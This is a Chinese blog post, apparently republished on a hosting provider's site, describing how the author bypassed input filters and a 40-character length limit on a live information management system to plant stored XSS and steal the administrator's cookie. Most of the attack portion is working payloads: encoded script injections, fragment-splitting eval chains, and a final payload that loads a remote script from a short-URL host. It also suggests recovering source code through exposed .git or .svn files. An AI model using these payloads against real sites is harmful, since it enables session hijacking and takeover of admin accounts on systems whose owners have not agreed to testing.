溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

發(fā)布時間:2021-11-23 22:49:38 來源:億速云 閱讀:149 作者:柒染 欄目:網(wǎng)絡(luò)安全

這篇文章將為大家詳細講解有關(guān)繞過某通用信息管理系統(tǒng)實現(xiàn)XSS,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

序言

實戰(zhàn)滲透某站點時遇到的,經(jīng)過幾天研究最終成功繞過限制并打到管理員cookie,特此記錄下備忘。將一些瑣碎的trick和知識點進行了有機結(jié)合與綜合實踐,希望本文能對讀者有所幫助,若有謬誤,還請指正。

準備工作

首先看看站點,事先測過了SQL等漏洞,這里只測試XSS。

繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

先嘗試填充一些正常數(shù)據(jù)以判斷是否會回顯payload,經(jīng)過測試,該站點提交信息會直接跳轉(zhuǎn)回首頁,無法查看payload解析執(zhí)行情況。

注意:測試xss時往往不要一上來就懟<script>/:..等危險字符,有暴露滲透行為的風險且難以控制頁面顯示情況。

看不到回顯難道就要盲打嘛?

這里提供一個思路:嘗試獲取該系統(tǒng)的源碼并本地搭建進行測試。

好的,既然思路明確了,我們就嘗試去獲取該系統(tǒng)的源碼。

  1. 掃描敏感目錄及文件,查看是否存在.git / .svn等代碼工程文件,如果存在的話,是  可以直接通過該敏感文件還原出系統(tǒng)源碼的。

相關(guān)工具:https://github.com/lijiejie/GitHack

Seay-svn 還原工具,大家可以自行下載

  1. 從源碼本身著手,尋找版權(quán)相關(guān)信息,之后去網(wǎng)上尋找并下載源碼。

滲透該站時便使用了方法2,嘗試訪問后臺時網(wǎng)頁便爆出了我們想要的信息。

繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

搜索相關(guān)源碼并下載,成功在本地搭建。

繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

好了,這樣我們就可以放心測試xss了。

好戲開演

準備好payload:

<script src="http://x.co/qwq"></script>

這里推薦一個網(wǎng)站縮短服務:

x.co

訪問設(shè)置url即可

繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

要是有更短的網(wǎng)址縮短服務可以留言分享下,畢竟在測試xss中有時僅僅縮短一個字符便能決定滲透成功與否。

提交payload后我們到后臺查看效果。

繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

對比一下:

<script src="http://x.co/qwq"></script><script src"http:  x.co  qwq"></script>

可以發(fā)現(xiàn)= 與url中的‘/’被過濾掉

并且頁面解析了我們的<script>標簽

這里有個技巧:

使用chrome等瀏覽器的開發(fā)者工具查看源代碼時,如果標簽是彩色的,說明被解析了,如果是黑色的,則標簽已被轉(zhuǎn)義而不是解析。

那么我們便來考慮如何繞過限制。

  1. 使用其他不包含= / 的標簽進行xss

  2. 編碼繞過

先從思路1入手:

”=”符合常見于屬性處,而絕大多數(shù)xsspayload所運用的便是標簽的屬性,想找到一個不使用”=”的標簽并不容易。

但是還是存在幾個特例的

<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,46,99,111,47,120,105,72,118,62,60,47,115,99,114,105,112,116,62));</script>        ascii編碼繞過<script>eval(Dec('203041263543203','2549'));</script><STYLE>@im\port'\ja\vasc\ript:alert("X3SS")';</STYLE>.....

其實這里就已經(jīng)結(jié)合了編碼繞過的思路,故不再贅述編碼繞過

我們這里使用第一個payload,該payload完美的繞過了“=”與“/”的限制,因為特殊符號全被編碼成了對應的ascii碼

提交payload,到后臺查看效果

繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

顯然,我們的payload執(zhí)行成功。

你以為這樣就完了嗎??

我們現(xiàn)在去目標站測試下

繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

再看看payload的長度

繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

所以好戲才剛剛開始啊...

也許有讀者會問為什么同樣的payload卻遇到了限制呢?

這點可以在管理后臺獲得解答。繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

說明目標站的數(shù)據(jù)項做了長度限制。經(jīng)過測試,目標站所有的數(shù)據(jù)項長度都被限制到了40個字符,那么我們來考慮繞過。

這里提供一種巧妙的思路:payload分割起來并儲存在相應的變量中,拼接變量后執(zhí)行。

所用的payload一般為:

<script>z='document.'</script>  <script>z=z+'write("'</script>  <script>z=z+'<script'</script>  <script>z=z+' src=ht'</script>  <script>z=z+'tp://xx'</script>  <script>z=z+'x.shell'</script>  <script>z=z+'.net/1.'</script>  <script>z=z+'js></sc'</script>  <script>z=z+'ript>")'</script>  <script>eval_r(z)</script>

注:此payload要求所有字符注入進同一頁面。

思路確定了,但是對于目標系統(tǒng)來說,該如何繞過’=’與’/’的限制呢?

之前提過,使用編碼繞過特殊字符是一座較為有效的思路,那么我們便考慮將分割注入與編碼這兩種思路相結(jié)合。

補充知識:

Unicode編碼繞過

<img src="x" onerror="&amp#97;&amp#108;&amp#101;&amp#114;&amp#116;&amp#40;&amp#34;&amp#120;&amp#115;&amp#115;&amp#34;&amp#41;&amp#59;"><img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url編碼繞過

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii碼繞過

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex繞過

<imgsrc=xonerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八進制

<imgsrc=x onerror=alert('\170\163\163')>

base64繞過

<imgsrc="x"onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"><iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

通過觀察我們可以發(fā)現(xiàn),url編碼,ascii編碼,base64編碼后的字符在執(zhí)行時需要相應函數(shù)或方法進行解碼,無疑增加了payload的長度,反而在整體長度有限制的情況下不利于執(zhí)行。

那么有沒有一種可被直接解析并且編碼后長度適中的編碼方式呢?

有!

hex編碼8進制unicode編碼!

以unicode編碼為例(原理與hex,8進制大同小異,有興趣的讀者可以自行測試)

我們先將’=’替換掉

<script>eval(z\u003d'document.')</script><script>eval(z\u003dz+'write("')</script><script>eval(z\u003dz+'<script')</script><script>eval(z\u003dz+'src=ht')</script><script>eval(z\u003dz+'tp://xx')</script><script>eval(z\u003dz+'x.shell')</script><script>eval(z\u003dz+'.net/1.')</script><script>eval(z\u003dz+'js></sc')</script><script>eval(z\u003dz+'ript>")')</script><script>eval_r(z)</script>

注:

  1. 使用unicode,hex,8進制等編碼時需要用到eval()函數(shù)

  2. 其實這里的payload并不可用,還需要經(jīng)過處理,只是為了展現(xiàn)思路歷程

下一步處理一些細節(jié):

  1. eval內(nèi)的引號需要轉(zhuǎn)義

  2. 進一步的縮短payload

請大家思考:

只用一個變量z進行存儲,在之后的每一步中拼接字符串是否為最優(yōu)的方法?

個人認為,在總長度允許的情況下,可以將不同的payload存儲在不同的變量中,

例如:

<script>eval('a\u003d\'docu\'')</script><script>eval('b\u003d\'ment\'')</script><script>eval('c\u003d\'.wri\'')</script><script>eval('d\u003d\'te("\'')</script><script>eval('e\u003d\'<scr\'')</script>

這樣便可以省去”z+”這兩個字符

最后進行拼接

<script>eval('z\u003da+b+c+d+e')</script>

拼接字符時只是單純的變量加減,并不需要轉(zhuǎn)義等復雜操作增添新的字符,payload的長度還在可以接受的范圍內(nèi)。

如果讀者對整個過程存在疑問,推薦自己寫一個過濾掉“=”與url中“/”的環(huán)境進行測試,能幫助你更好的理解本文。

貼一下最終的payload:

<script>eval('a\u003d\'docu\'')</script><script>eval('b\u003d\'ment\'')</script><script>eval('c\u003d\'.wri\'')</script><script>eval('d\u003d\'te("\'')</script><script>eval('e\u003d\'<scr\'')</script><script>eval('f\u003d\'ipt\'')</script><script>eval('g\u003d\'src\'')</script><script>eval('p\x3d\'\x3d\'')</script><script>eval('h\u003d\'http\'')</script><script>eval('i\u003d\'://x\'')</script><script>eval('j\u003d\'.co/\'')</script><script>eval('k\u003d\'6nx2\'')</script><script>eval('l\u003d\'r></\'')</script><script>eval('m\u003d\'scri\'')</script><script>eval('n\u003d\'pt>"\'')</script><script>eval('o\u003d\')\'')</script><script>eval('z\x3da+b+c+d+e')</script><script>eval('z\x3dz+f+g+p+h')</script><script>eval('z\x3dz+i+j+k+l')</script><script>eval('z\x3dz+m+n+o')</script><script>eval(eval('z'))</script>

你以為這樣就完了嗎?不!還沒完!

我們提交下該payload

繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

為什么會報錯某些變量沒有被定義呢?

我們的payload在本地chrome測試是完美成功的啊

不應該存在語法上的錯誤啊

這就要講到另一個知識點了:

原來JS引擎并非一行行去分析和執(zhí)行程序,而是一段一段的執(zhí)行(如3),而且在同一段程序的分析執(zhí)行中,定義式的函數(shù)語句會被優(yōu)先執(zhí)行。函數(shù)定義執(zhí)行完以后才會按順序執(zhí)行其他語句代碼。

在經(jīng)過預處理后,js引擎才會從上到下依次執(zhí)行。

想想我們的注入順序?

<script>eval('a\u003d\'docu\'')</script><script>eval('b\u003d\'ment\'')</script><script>eval('c\u003d\'.wri\'')</script><script>eval('d\u003d\'te("\'')</script><script>eval('e\u003d\'<scr\'')</script><script>eval('f\u003d\'ipt\'')</script><script>eval('g\u003d\'src\'')</script><script>eval('p\x3d\'\x3d\'')</script><script>eval('h\u003d\'http\'')</script><script>eval('i\u003d\'://x\'')</script><script>eval('j\u003d\'.co/\'')</script><script>eval('k\u003d\'6nx2\'')</script><script>eval('l\u003d\'r></\'')</script><script>eval('m\u003d\'scri\'')</script><script>eval('n\u003d\'pt>"\'')</script><script>eval('o\u003d\')\'')</script><script>eval('z\x3da+b+c+d+e')</script><script>eval('z\x3dz+f+g+p+h')</script><script>eval('z\x3dz+i+j+k+l')</script><script>eval('z\x3dz+m+n+o')</script><script>eval(eval('z'))</script>

繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

最終執(zhí)行變量的語句卻放在了頁面上端,js引擎在執(zhí)行時自然會報錯。

所以把之前的payload倒序注入即可。(相信我這真的是最后一次了)

成功打到cookie.

繞過某通用信息管理系統(tǒng)實現(xiàn)XSS

關(guān)于繞過某通用信息管理系統(tǒng)實現(xiàn)XSS就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

xss
AI